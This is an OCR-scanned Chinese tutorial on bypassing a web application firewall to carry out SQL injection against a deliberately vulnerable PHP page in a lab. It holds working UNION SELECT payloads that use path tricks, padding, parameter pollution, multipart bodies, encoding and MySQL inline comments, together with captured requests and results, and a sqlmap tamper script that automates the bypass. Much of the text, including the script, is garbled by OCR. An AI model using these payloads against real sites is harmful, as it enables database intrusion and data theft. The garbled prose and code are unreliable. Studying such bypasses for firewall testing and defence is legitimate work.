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0x01 FiFkEE

360FEHIBEER : http://zhuji.360.cn BERRA : 360EH B TApache 28k MAXIFE : phpStudy
AHATESQLIENR :

$id=$_REQUEST['id']; $query = "SELECT * FROM admin WHERE id = $id "

0x02 WAF;lliz{

Ezhuji.360.cnitRE XA , EERFEATH |, ME5TH—K=EE :
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http://zhuji.360.cn/
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Request Response

jRawT Params T Headers | Hex jﬂaw T Headers | Hex | HTML T Render ]

GET ftest.phﬂ?id=l%:Dunion%:Dselect%:Dl,3,3|HTTPfl.l HTTF/l.1l 500 Internal Server Error

Host: 18Z2.168.204.1Z28 N\, Date: Mon, 14 May Z01S8 15:3€:20 GMT
User-Agent: Mozilla/S.0 (Vindows NT 10.0; WOWeE4: Server: Apaches/2.4.10 (Win3Z) OpensS5L/0.9.8zh
rv:48.0) Gecko/Z01l00101 Firefox/48.0 FHF/5.2.17

L
e

Aoccept: ¥-Zafe-Firewall: zhuji.3€0.cn 0.5.0_win apache
text/html, application/xhtml+4xml, application/xml; q=0. Content-Length: 218
*r=0.8 Feep-Llive: timeout=5, max=100

Connection: Keep-4ilive
Content-Type: text/html

Aocept-Language: zh-CHN, zh;q=0.8,en-T3;q=0.5,en;q=0.3
Aecept-Encoding: gzip, deflate

Connection: keep-alive

Upgrade-Insecure-Requests: 1 <html><body style='margin:0;

padding:0'><center><iframe width='100%' align='center'
eight="'100%"' framesborder='0"' =crolling='nao!'
src='http://zhuji.3e0.cn/guard/firewvall/stopattack. html
'zefiframer</center></body></html>
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I 2% HEREnE

FIFAPHPHRJPATH_INFO[AIRR , EfEHkE— AR BITE/SE , AIAkIhbypass.

/test.php/admin?id=1 union select 1,2,schema_name from information_schema.SCHEMATA


af://n12

& Load URL |http://192.168.204.1 28,’test.ph|:+"admin?id:1 union select 1,2,schema_name from information_schema . SCHEMATA

B split URL

k) Execute

[] Enable Post data [ | Enable Referrer

1 admin admin

1 2 information_schema
12 mysgl

1 2 performance_schema
12 test

SELECT * FROM admin WHERE id = 1 union select 1,2,schema_name from information_schema.SCHEMATA
BB BSEE

SHREEA S, jpg. pngFRtRIREMIEK , RUBBRBNE , wal A TIIEER , BRI — L5
RSB ERANEK.

/test.php/1.png?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

4 Load URL |http://192.168.204.1 28ftest.ph|+f‘| .png?id=1 union select 1,2,schema_name frem infermation_schema. SCHEMATA
B split URL

b Execute /

[] Enable Past data [] Enable Referrer

1 admin admin

1 2 information_schema
1 2 mysql

1 2 performance schema
12 test

SELECT * FROM admin WHERE id = 1 union select 1,2,schema_name from information_schema.SCHEMATA
FH= BN

ZPostR BT , WAFEAENXREREE THEMXKE , BIRNATKERSEZBypass , MIRIEEBFL
E—LLELIR RIS | WAFEMEBIRIIIRGIE | MERERISHAESE.

EFixXEEE , POST XEiaHAIBREAIALINBypass.
/test.php

POST :

id=1 and (select 1)=(Select
OXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) union select

1,2,schema_name from information_schema.SCHEMATA


af://n18
af://n22

@ Lload URL [http:/192.168.204.128/testphp
b spliturL +

b Execute

Enable Post data [ Enable Referrer

Past data id=1 and (select 1)=(Select AAAAAAAAAAAAAAAAAAAALAAAAAAAAAALAAAAAALAAABAAAAAASAAALAALAAAAAAAAAAAL
OxAAAAAAAAAAAAAAAAAABAAAAAARAAAAAAAAAAAALAAAMANAAANAANAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAALALAAALAAAAAAAAAAAAAAAAAAAALALALAAAAAAAAAAAAAAAAAAALAAAAAAAAALAAAAAAAAAAAANAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALALAAAAAAAAAAAAAAAAAAAAAAAALALALAAAAAAAAAAAAAAAAAAALAAAAAAAAALAAAAAAAAAAAANAA
AAAAAAAAAAAAAAAAAAAMAAAAAAAAAAA)luninH select 1,2,schema_name from information_schema SCHEMATA

1 2 information_schema
12 mysql

1 2 performance_schema

12 test

SELECT * FROM admin WHERE id = 1 and (select 1)=(Select

OXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,
union select 1,2,schema_name from information_schema.SCHEMATA

ZAM - urizfiad

XM HAIZE, , BAREAuriSdiat. FEANREWAF | BUAER N REEREET 00 ™S40 TN , Higaess1014
SHRS |, B4 , BRENREERRZAF 100 MNAGHSEH TN SR , NI/,

2NN, MIBTRISEANEGRIZO74 |, T# Tunion select Zif) , BIgINXE#Fromi%ad , BIRIIBypass.

http://192.168.204.128/test.php

POST : id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&
id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1& id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=1
union select 1,2,schema_name %0a//from/information_schema.SCHEMATA

@ Load URL |http://192.168.204.128test.php
B split URL

v Execute

Enable Post data [] Enable Referrer

Post data id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=1&id=1&id=1&id=1&id=18&id=1&id=1&id=1&id=1&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=1&id=18id=18id=18&id=18&id=1&id=1&id=18&id=1&
id=18&id=18id=181d=18id=18&id=18id=18id=1 union select 1,2,schema_name %0a/*!from*/information_schema.SCHEMATA

1 admin admin —
1 2 information_schema

12 mysq!

1 2 performance_schema

12 test

SELECT * FROM admin WHERE id = 1 union select 1,2,schema_name /*!'from*/information_schema.SCHEMATA

EWA . GET+POST

— AR IEHGBIERR T |, HFEFHEZGET, POSTEKETS , #APOSTIBIE , MZIR T GETIEKIEESEEMA, T
25 Bypass,


af://n29
http://192.168.204.128/test.php
af://n35

/test.php?id=1 union select 1,2,schema_name from information_schema.SCHEMATA

POST : aaa

4w Load URL | http://192.168.204.128/test.phpfid=1 union select 1,2, schema_name from informaticn_schema.SCHEMATA |
B split URL

b) Execute

Enable Post data [ ] Enable Referrer /

Post data a3a

1 admin admin

1 2 information_schema
1 2 mysgl

1 2 performance _schema
12 test

SELECT * FROM admin WHERE id = 1 union select 1,2,schema_name from information_schema.SCHEMATA

ZB75 - multipart/form-datatgzt
Post, Get#iEAHH_EfEmultipart/form-datat8NAUREE , FIBMMRITIER | NTISRIISQLE1E.
------ WebKitFormBoundaryACZoal]JzUwc4hYM Content-Disposition: form-data; name="id"

1 union /* Iselect*/ 1,2,schema_name [[XE{FFEEnter#a{T)] from information_schema.SCHEMATA ------
WebKitFormBoundaryACZoalJjzUwc4hYM--

AR EIR A TERIIIE ?
B, FiE—"htmITHE :
HERE

R NS TAEBANETBASE , MBAIEZERepeater , H—HIEPayloadiRENEHE.

1 igxF Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex

POST /test.php HTTP/L.1 Y HTTP/ L.l Z00 OK
Host: 192.168.204.1Z2Z8 - Date: Mon, 14 May Z01B 1&:17:37 GMT
Proxy-Connection: keep-aliwe Server: Apache/2.4.10 (Win3Z) Open3SL/0.9.8zb
Content-Length: 202 PHP/5.2.17
Cache-Control: max-ages=0 ¥-Powered-By: PHP/5.2.17
Upgrade-Insscure-Recuests: 1 ¥-Safe-Firewall: zhuji.3é0.cn 0.9.0_win apachs
Origin: null Content-Length: 210
Content-Type: multipart/form-data; Content-Type: text/html
boundary=—---WebKitFormBoundaryvuZ ZbOUygvQWAGDIE
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4) 1 admin admin<br />1 2 information_schema<br />1 2
AppleWebKit/537.36 (KHTHL, like Gecko) mysql<br />1 2 performance schema<br />1 2 test<br
Chrome/E£.0.3359.139 Safari/537.3€ /=<br/>SELECT * FROM admin WHERE id = 1 union
Accept: /*!select*f 1,2,schema name
text/html, application/xhtml4xml, application/=ml:q=0.9, im from information schema.SCHEMATA

age/webp, image/apng, */ *:q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CH, zh;q=0.9

—————— WebFitFormBoundaryuZZhOUygyQWAGDI
Content-Disposition: form-data; name="id"

L union /*!select*/ 1,2,schema name
from information schema.SCHEMATA
—————— WebEitFormBoundar yuZ ZhoUygyQWAGDIE——

BHt : mEsd
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ZFinxtPayloadi#{T4RED | IRBIHEEEBNHITHED |, XAMERHEIRWAFRIRISHEIZEENT | WIRWAFRBEHITE
HEDARIEEE |, nTRESEGY , ERHRIBIMURLERES, unicodefRi3 (11S) . BEFPHBE. XMEAER
URLRISRESETIRENEUE | FEEEIWAFXIPOSTAIBGAEIFINI AL FHAEY , union select BE{ESE , select from
F%0agia LR , FEHE— TRIDSIAITEES.

/test.php?id=1 POST : id=1 %55nion %53elect/* !1,2,schema_name %0aFROM
information_schema.SCHEMATA* /

‘@ Load URL |[http://192.168.204.128/test.php
$ spliturL

b  Execute

Enable Post data [ | Enable Referrer

Post data id:i'l %55nion %53elect/*11,2, schema_name %0aFROM information_schema.SCHEMATA =/

|

1 admin admin

1 2 information_schema
12 mysql

1 2 performance_schema
1 2 test

SELECT * FROM admin WHERE id = 1 Union Select/*!1,2,schema_name FROM information_schema.SCHEMATA */
BT\ - %0a+PRIEREER

FIFAMysqIEHERERI— L5 1E | SR WAFRIBOEIFIN | SRESFEEUEERINHIT TSQL | SREEE.
http://192.168.204.128/test.php

POST :

id=1 union%0a/* 112345select* / 1,2,schema_name%0a/* !12345from */information_schema.SCHEMATA

@ Load URL |http:y//192.168.204.128/test.php
9 split URL

v, Execute

Enable Post data [ | Enable Referrer
Post data

id=1 union%0a/11 23455e|ect*|f 1,2, schema_name%0a/*112345from*/information_schema.SCHEMATA

1 admin admin

1 2 information_schema
1 2 mysqgl

1 2 performance_schema
12 test

SELECT * FROM admin WHERE id = 1 union /*112345select®/ 1,2,schema_name /*!12345from*/information_schema.SCHEMATA

0x03 Bxjli{tBypass

LM HEEIWAF SQUENFBEIEINE |, elEdmStamperf ARSI BEMEIEN | LAZE/\ © %0a+HEBSERES
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af://n58
http://192.168.204.128/test.php
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#!'/usr/bin/env python

T T

write by Bypass

mrm

from lib.core.enums import PRICRITY

from libk.core.settings import UNICODE ENCODING

__priority = PRIORITY.LOW
def dependencies():
pass

def tamper (pavload, **kwargs):

mrm

Replaces keywords

x> tamper ("UNICH SELECT id FRCM users')

'union%0a/*!112345=sclect®/id20a/*112345from*® fusers"

o

if payload:
payload=payload.replace (" ALL SELECT ", "%0a/%!12345select®/™")
payload=payload.replace ("UNICH SELECT", "union%la/*!12345select®/™)
payload=payload.replace (" FROM ", "%0a/%!112345from#* /")
payload=payload.replace ("CCHCAT", "CONCAT%23%0a"™)
payload=payload.replace ("CASE ", "CASEZ23%0a")
payload=payload.replace ("CAST (", "/ * 1 12345CASC (*/™)
payload=payload.replace ("DATABASE ()} ", "databasei0a ()} ")

return payload

DnEtamperfil A |, TR IHIRENEE

php —-data "id=1" --tamp

ibility to ob
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0x04 END
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